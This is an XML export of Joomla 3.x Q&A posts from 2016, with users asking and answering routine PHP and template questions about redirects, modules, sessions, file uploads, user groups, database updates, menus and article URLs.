  <row Id="17710" PostTypeId="2" ParentId="17707" CreationDate="2016-08-27T08:29:00.710" Score="1" Body="&lt;p&gt;This issue was introduced as part of the security fix in Joomla 3.4.6. The internal handling of validating internal and external uris was changed to address a security issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/8689&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/issues/8689&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the code below will decide whether the redirect should happen or not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Don't redirect to an external URL.&#xA;if (!JUri::isInternal($data['return']))&#xA;{&#xA;    $data['return'] = '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you won't get redirected to target page unless your url:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Starts with index.php or&lt;/li&gt;&#xA;&lt;li&gt;Starts with your full host name&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Urls like &lt;code&gt;http://test.com/testing/test.html&lt;/code&gt; or &lt;code&gt;index.php?option=mycomponent&lt;/code&gt; should work, relative urls like &lt;code&gt;/testing/test.html&lt;/code&gt; won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do the &lt;code&gt;base64_decode&lt;/code&gt; of your return string and see what type of url it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2016-08-27T08:29:00.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17712" PostTypeId="2" ParentId="5056" CreationDate="2016-08-27T22:29:22.707" Score="2" Body="&lt;p&gt;Try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.application.module.helper');&#xA;    // this is where you want to load your module position&#xA;    $modules = JModuleHelper::getModules('header'); &#xA;    foreach($modules as $module)&#xA;    {&#xA;    echo JModuleHelper::renderModule($module);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ref:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/12225538/how-we-include-a-joomla-module-in-a-component-view-in-joomla&quot;&gt;https://stackoverflow.com/questions/12225538/how-we-include-a-joomla-module-in-a-component-view-in-joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-08-27T22:29:22.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17713" PostTypeId="2" ParentId="11064" CreationDate="2016-08-28T08:16:24.697" Score="0" Body="&lt;p&gt;What you need to do is duplicate the template, then use the menu assignment on each 1 of the templates and assign one to the home and the other to all other pages. Then use the modules on the home page and they will not show up on the others and you can customize that home page template to any design, color or layout you choose.&lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2016-08-28T08:16:24.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17714" PostTypeId="2" ParentId="17706" CreationDate="2016-08-28T09:24:09.390" Score="1" Body="&lt;p&gt;Ok I see the issue now. It's because you've overriding the session variable in the loop, each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, try this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;First module&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$modules = JModuleHelper::getModules('second-position');&#xA;&#xA;for ($i=1; $i&amp;lt;5; $i++) &#xA;{&#xA;    $session-&amp;gt;set('number', $i);&#xA;&#xA;    foreach($modules as $mod)&#xA;    {&#xA;        echo JModuleHelper::renderModule($mod, $attribs);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Second module&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;&#xA;for ($i=1; $i&amp;lt;5; $i++) &#xA;{&#xA;    echo $session-&amp;gt;get('number' . $i);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Don't put the loop within the loop. You can simply acheive what you want using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;&#xA;for ($i=1; $i&amp;lt;5; $i++) &#xA;{&#xA;    $session-&amp;gt;set('number' . $i, $i);&#xA;    echo $session-&amp;gt;get('number' . $i);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-08-28T14:15:11.693" LastActivityDate="2016-08-28T14:15:11.693" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="17717" PostTypeId="1" CreationDate="2016-08-29T07:40:11.223" Score="0" ViewCount="137" Body="&lt;p&gt;when i turn on the &quot;Page Heading&quot; in &quot;Page Display&quot; tab, nothing shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hY3g7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hY3g7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a costume template (sj market). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the code part that is suppose to show the Page Heading, is missing somewhere.&#xA;How can i fix this?&lt;/p&gt;&#xA;" OwnerUserId="8738" LastActivityDate="2016-09-03T07:31:17.123" Title="page heading doesn't show up" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17719" PostTypeId="2" ParentId="4836" CreationDate="2016-08-29T08:58:22.590" Score="2" Body="&lt;p&gt;This exactly what the Datasets for K2 plugin does: &lt;a href=&quot;http://www.joomreem.com/extensions-store/k2-datasets&quot; rel=&quot;nofollow&quot;&gt;http://www.joomreem.com/extensions-store/k2-datasets&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there is a documentation to learn in details how to use it: &lt;a href=&quot;http://www.joomreem.com/documentation/item/58-joomreem-k2-datasets-user-manual.html&quot; rel=&quot;nofollow&quot;&gt;http://www.joomreem.com/documentation/item/58-joomreem-k2-datasets-user-manual.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8051" LastActivityDate="2016-08-29T08:58:22.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17720" PostTypeId="1" CreationDate="2016-08-29T10:43:31.013" Score="1" ViewCount="1455" Body="&lt;p&gt;I am facing an issue with uploading an excel data sheet. The functionality is like &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User uploads an excel sheet&lt;/li&gt;&#xA;&lt;li&gt;Records are inserted into that custom component's tables by which graphs are shown in front-end. The tables contains all the calculation values for different years.&lt;/li&gt;&#xA;&lt;li&gt;Then, for those records categories and articles are created.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But this works fine for small data sheets containing nearly 200 rows. Sometimes, step (2) works and it gets stuck in step (3). And sometimes, nothing works. When a sheet consists of more than 2000 rows then, half data is inserted and it gives me this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Gateway Timeout - 504 error&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;code&gt;phpexcel&lt;/code&gt; for uploading excel to database and tried setting the following in the controller's upload task but still it is not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('display_errors', 1);&#xA;error_reporting(E_ALL);&#xA;ini_set('max_execution_time', 1800); //also tried set_time_limit(0);&#xA;ini_set('memory_limit', '-1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Kindly, guide to any solution&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2017-01-27T16:12:21.573" Title="Gateway Timeout : 504 Error" Tags="|joomla-3.x|file-upload|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17721" PostTypeId="2" ParentId="17720" CreationDate="2016-08-29T10:50:01.880" Score="0" Body="&lt;p&gt;Sounds like it is one of two things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Hosting server does not have enough resources and you require and upgrade&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Php.ini is usually the culprit but it seems you have addressed that.&lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2016-08-29T10:50:01.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17722" PostTypeId="2" ParentId="17311" CreationDate="2016-08-29T13:07:24.867" Score="1" Body="&lt;p&gt;You can extend the &lt;strong&gt;save()&lt;/strong&gt; method to get this functionality : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data = array(), $key = 'id')&#xA;{&#xA;    // Neccesary libraries and variables&#xA;    jimport('joomla.filesystem.file');&#xA;&#xA;    //Debugging &#xA;    ini_set(&quot;display_error&quot; , 1);&#xA;    error_reporting(E_ALL);&#xA;&#xA;    // Get input object&#xA;    $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;    // Get posted data&#xA;    $data  = $jinput-&amp;gt;get('jform', null, 'raw');&#xA;    $file  = $jinput-&amp;gt;files-&amp;gt;get('jform');&#xA;&#xA;    // renaming the file &#xA;    $file_ext=strtolower(end(explode('.',JFile::makeSafe($file['pdf_file_path']['name']))));&#xA;    $filename = round(microtime(true)) . '.' . $file_ext;&#xA;    // Move the uploaded file into a permanent location.&#xA;    if ( $filename != '' ) {&#xA;&#xA;        // Make sure that the full file path is safe.&#xA;        $filepath = JPath::clean( JPATH_ROOT.&quot;/images/uploads/variants/&quot;. $filename );&#xA;&#xA;        // Move the uploaded file.&#xA;        if (JFile::upload( $file['pdf_file_path']['tmp_name'], $filepath )) {&#xA;              //DB save method&#xA;        } else {              &#xA;              //Error Reporting&#xA;        }        &#xA;    }&#xA;&#xA;    JRequest::setVar('jform', $data, 'post');&#xA;    $return = parent::save($data);&#xA;    return $return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope it will help&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-08-29T13:07:24.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17723" PostTypeId="1" AcceptedAnswerId="17728" CreationDate="2016-08-29T14:29:33.797" Score="0" ViewCount="227" Body="&lt;p&gt;I found this tutorial of how to create a menu like I want in &lt;code&gt;CSS&lt;/code&gt; and I can have it working in a stand-alone version.  My question is, which one of my Joomla files would I need to add this coding to in order for my Joomla site to have this same look?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.w3schools.com/howto/howto_js_topnav.asp&quot; rel=&quot;nofollow&quot;&gt;Menu Format I want&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="8774" LastActivityDate="2016-08-29T21:47:03.203" Title="Change Menu Structure For Joomla Site" Tags="|joomla-3.x|menu|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17724" PostTypeId="2" ParentId="17723" CreationDate="2016-08-29T14:37:39.187" Score="0" Body="&lt;p&gt;The front-end menus and page positions are generated from template. Look into Your_site/templates drive and locate your template there. Most templates directly use page layout in their index.php &lt;/p&gt;&#xA;" OwnerUserId="5688" LastActivityDate="2016-08-29T14:37:39.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17725" PostTypeId="1" CreationDate="2016-08-29T17:35:54.993" Score="1" ViewCount="2679" Body="&lt;p&gt;This code is to check if  user belong to one group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt; //get logged in user&#xA; $user = JFactory::getUser();&#xA;&#xA;$group_id = 20; //This is the group we are checking. -&gt;usergroup **Sales** Group&#xA;&#xA;if(in_array($group_id, $user-&gt;getAuthorisedGroups()))&#xA;{ &#xA;  //The user is in this group&#xA;}else{&#xA;    echo 'No output';&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BUT  I want to check if user belongs to 2 groups.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;$group_id = 20;//This is the group we are checking. -&gt;usergroup **Sales** Group&#xA;and&#xA;$group_id = 21;//This is the group we are checking. -&gt;usergroup **Design** Group&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="8937" LastEditorUserId="8937" LastEditDate="2016-08-29T17:41:16.447" LastActivityDate="2016-08-29T21:33:39.997" Title="Joomla 3.x: Check if user belongs to 2 groups" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17726" PostTypeId="2" ParentId="15283" CreationDate="2016-08-29T20:24:00.087" Score="1" Body="&lt;p&gt;This is exactly what I need to have solved, but usable modification nowhere. So I start to looking for solution on my own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how module orders by articles (helper.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$articles-&amp;gt;setState('list.ordering', $params-&amp;gt;get('article_ordering', 'a.ordering'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure, but after I checked database category columns, there are lft and rgt, which looks that it can be used for ordering. I will be happy if somebody smarter will approve that I am right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have these categories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People (lft: 173, rgt: 182)&lt;br /&gt;&#xA;-- Leaders (lft: 174, rgt: 175)&lt;br /&gt;&#xA;-- Internal Staff (lft: 176, rgt: 177)&lt;br /&gt;&#xA;-- External Staff (lft: 178, rgt: 179)&lt;br /&gt;&#xA;-- Others (lft: 180, rgt: 181)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to order only by subcategories as my main category is empty. But as you can see, it can be also used to order main category over the subcategories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I just tried to modify article ordering this way and it works!!! :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$articles-&amp;gt;setState('list.ordering', 'c.lft, '.$params-&amp;gt;get('article_ordering', 'a.ordering'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe it will be also helpful for others.&lt;/p&gt;&#xA;" OwnerUserId="7384" LastActivityDate="2016-08-29T20:24:00.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17727" PostTypeId="2" ParentId="17725" CreationDate="2016-08-29T21:33:39.997" Score="3" Body="&lt;p&gt;I would go for code like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# get logged in user&#xA;$user = JFactory::getUser();&#xA;&#xA;# groups to match&#xA;$sales_group_id = 20;&#xA;$design_group_id = 21;&#xA;&#xA;# see if the user is in both&#xA;if( in_array($sales_group_id, $user-&amp;gt;groups ) AND in_array($design_group_id, $user-&amp;gt;groups ) ){ &#xA;   echo &quot;the user is in both sales and design&quot;&#xA;}else{&#xA;    echo &quot;Use is not&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with the getAuthorisedGroups function, but you can just get the groups as an array from the user object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guts of the code are about the same really, the solution is mainly in using and AND in the IF, to make sure you have both groups in the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some more documentation at...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Accessing_the_current_user_object&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Accessing_the_current_user_object&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/JFactory/getUser&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/JFactory/getUser&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2016-08-29T21:33:39.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17728" PostTypeId="2" ParentId="17723" CreationDate="2016-08-29T21:47:03.203" Score="1" Body="&lt;p&gt;It is hard to know the best solution without know what your template is.  However, I would recommend creating a module override for the menu module, then editing the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to create overides in Joomla is via the templates section of Joomla admin.  If your template is the standard Protostar one, then you'd take the following steps...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to your site's administrator area, ie mysite.com/administrator&lt;/li&gt;&#xA;&lt;li&gt;Under the &quot;Extentions&quot; menu, click &quot;Templates&quot; then &quot;Templates&quot; again.&lt;/li&gt;&#xA;&lt;li&gt;Click on your template in the list of templates&lt;/li&gt;&#xA;&lt;li&gt;Click on the &quot;Create Overides&quot; tab.&lt;/li&gt;&#xA;&lt;li&gt;Under the &quot;Modules&quot; header click on &quot;mod_menu&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You've now created a template override for the menu module.  Now you can edit the code.  If you did the above with the Protostar template, you will find the files in &quot;templates/protostar/html/mod_menu&quot;.  In the folder you'll see a &quot;default.php&quot; which is the main code for the menu, this loads child files for the various menu types, &quot;default_component.php&quot;, &quot;default_heading.php&quot;, &quot;default_separator.php&quot; and &quot;default_url.php&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further reading...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2016-08-29T21:47:03.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17729" PostTypeId="1" AcceptedAnswerId="17730" CreationDate="2016-08-29T22:37:11.890" Score="1" ViewCount="163" Body="&lt;p&gt;I'm quite new to SQL and PHP and tried two write an array into the database, but I couldn't figure it out so far I always get following Error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1054 Unknown column 'Array' in 'field list' SQL=UPDATE #__typsys SET usergroup = Array WHERE userid = 687&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried it this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get an Array with all the Usergroups the user is in&#xA;$usergroups = JFactory::getUser()-&amp;gt;getAuthorisedGroups();&#xA;&#xA;// Building the updatequery&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query&#xA;    -&amp;gt;update($db-&amp;gt;quoteName('#__typsys'))&#xA;    -&amp;gt;set($db-&amp;gt;quoteName(usergroup) . ' = ' . $db-&amp;gt;quote($usergroups))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('userid') . ' = ' . $user-&amp;gt;id)&#xA;;&#xA;// Executing the updatequery&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I write a normal string like &quot;test&quot; in the database everything works fine, but not with an array. I have searched for hours now, but didn't find any solution. Help is much appreciated!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx in advanced!&lt;/p&gt;&#xA;" OwnerUserId="8939" LastEditorUserId="7632" LastEditDate="2016-08-30T07:16:04.750" LastActivityDate="2016-08-30T07:16:04.750" Title="SQL Query Problem in Joomla 3.x" Tags="|joomla-3.x|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17730" PostTypeId="2" ParentId="17729" CreationDate="2016-08-30T05:57:24.983" Score="1" Body="&lt;p&gt;This is because &lt;code&gt;$usergroups&lt;/code&gt; returns an array and not a single value. It returns you the usergroup id which the login user belongs to. Like if the current user belongs to &lt;code&gt;Registered&lt;/code&gt; and &lt;code&gt;Administrator&lt;/code&gt; group it will return the ids of them as an array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this, you have the following option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get an Array with all the Usergroups the user is in&#xA;$usergroups = JFactory::getUser()-&amp;gt;getAuthorisedGroups(); // returns Array ( [0] =&amp;gt; 1 [1] =&amp;gt; 8 )&#xA;$usergroups_str = implode(',',$usergroups); // returns (1,8)&#xA;&#xA;// Building the updatequery&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query&#xA;    -&amp;gt;update($db-&amp;gt;quoteName('#__typsys'))&#xA;    -&amp;gt;set($db-&amp;gt;quoteName(usergroup) . ' = ' . $db-&amp;gt;quote($usergroups_str))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('userid') . ' = ' . $user-&amp;gt;id)&#xA;;&#xA;// Executing the updatequery&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will update the table row for logged in user with all his access levels. Also, I would suggest not to update the &lt;code&gt;usergroup&lt;/code&gt; column with the &lt;code&gt;usergroup name&lt;/code&gt; example &lt;code&gt;Registered&lt;/code&gt;. And while fetching, you can simply explode it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps &lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-08-30T05:57:24.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17731" PostTypeId="1" AcceptedAnswerId="17734" CreationDate="2016-08-30T05:59:31.187" Score="0" ViewCount="73" Body="&lt;p&gt;I am new to &lt;code&gt;Joomla&lt;/code&gt;. I have created a module that shows some articles with a link to those articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fetched latest articals with :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $list= ModArticlesLatestHelper::getList($params);&#xA;   foreach ($list as $item) :  ?&amp;gt;&#xA;     &amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&quot; itemprop=&quot;url&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i get a url that is in the form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`www.example.com/{articleID}-{article-name}`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please tell me how can i get a URL in the following form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.example.com/{catagoryID}-{catagory-name}/{articleID}-{article-name}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8629" LastEditorUserId="8629" LastEditDate="2016-08-30T09:34:05.397" LastActivityDate="2016-08-30T09:54:18.480" Title="link to a single article with catatogy" Tags="|joomla-3.x|articles|category|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17732" PostTypeId="1" CreationDate="2016-08-30T07:15:33.090" Score="0" ViewCount="90" Body="&lt;p&gt;I don't understand how to retrieve some post data into specific method in controller. After submiting the form, the script goes into batch_categories() method into the controller in this method i define some specifics post variable to try retrieve them into _save() : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function batch_categories()&#xA;{&#xA;  $cid = $this-&amp;gt;app-&amp;gt;input-&amp;gt;get('cid', '', 'array'); &#xA;  if ( $task == 'copy' )&#xA;    {&#xA;        $categories = $this-&amp;gt;getCategories($cid);&#xA;&#xA;        foreach ($categories as $cat)&#xA;        {&#xA;            list($title, $alias) = $this-&amp;gt;_generateNewTitle($cat-&amp;gt;id, $cat-&amp;gt;alias, $cat-&amp;gt;name);&#xA;&#xA;            $_POST['name']  = $title;&#xA;            $_POST['alias']  = $alias;&#xA;            $_POST['parent_id'] = intval($cat_parent);&#xA;            $_POST['catid'] = 0;      &#xA;            $this-&amp;gt;_save();&#xA;        }&#xA;&#xA;        $this-&amp;gt;app-&amp;gt;enqueueMessage(JText::_('BATCH_COPY_SUCCESS'));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the save _save below, in the post data there ins't name, alias, parent_id, catid. Before with JRequest it worked well, now with JInput it doesn't work :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function _save()&#xA;{&#xA; $post       = $this-&amp;gt;app-&amp;gt;input-&amp;gt;getArray();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to know how to retrieve in _save() method, the differents posts variables (name, alias, parent_id, catid) defined in the batch_categories() method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2016-11-28T08:57:42.100" Title="Retrieve post variable into an another method in controller" Tags="|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17733" PostTypeId="2" ParentId="17732" CreationDate="2016-08-30T07:34:31.330" Score="1" Body="&lt;p&gt;Set the values directly on the jinput instead of setting them on PHP globals.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;input-&amp;gt;set('title', $title);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why don't you pass the values directly to the _save() method instead of setting them in PHP globals (it is not recommended to access PHP globals directly)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = new stdClass();&#xA;$args-&amp;gt;title = $title;&#xA;$args-&amp;gt;alias = $alias;&#xA;$args-&amp;gt;parent = intval($cat_parent);&#xA;$args-&amp;gt;catid = 0;&#xA;$this-&amp;gt;_save($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change signature of _save method to accept an argument.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2016-08-30T07:40:07.933" LastActivityDate="2016-08-30T07:40:07.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17734" PostTypeId="2" ParentId="17731" CreationDate="2016-08-30T09:49:06.820" Score="0" Body="&lt;p&gt;Your article urls are managed using menu items. To get the correct menu structure, create one &lt;code&gt;Category List&lt;/code&gt; or &lt;code&gt;Category Blog&lt;/code&gt; menu item for each of the &quot;Top Level&quot; category. This way, your article urls will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/{categorymenualias}/{id}-{article-alias}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or the articles in subcategories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/{categorymenualias}/{catid}-{subcategory}/{id}-{article-alias}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now in your module helper class, you can build your article urls using Content component helper.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item-&amp;gt;link = JRoute::_(ContentHelperRoute::getArticleRoute($item-&amp;gt;id,  $item-&amp;gt;catid ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to include the helper in your module.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(JPATH_SITE.'/components/com_content/helpers/route.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: Your menu items can be under a Menus which you need not show on front-end using Menu module.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2016-08-30T09:54:18.480" LastActivityDate="2016-08-30T09:54:18.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
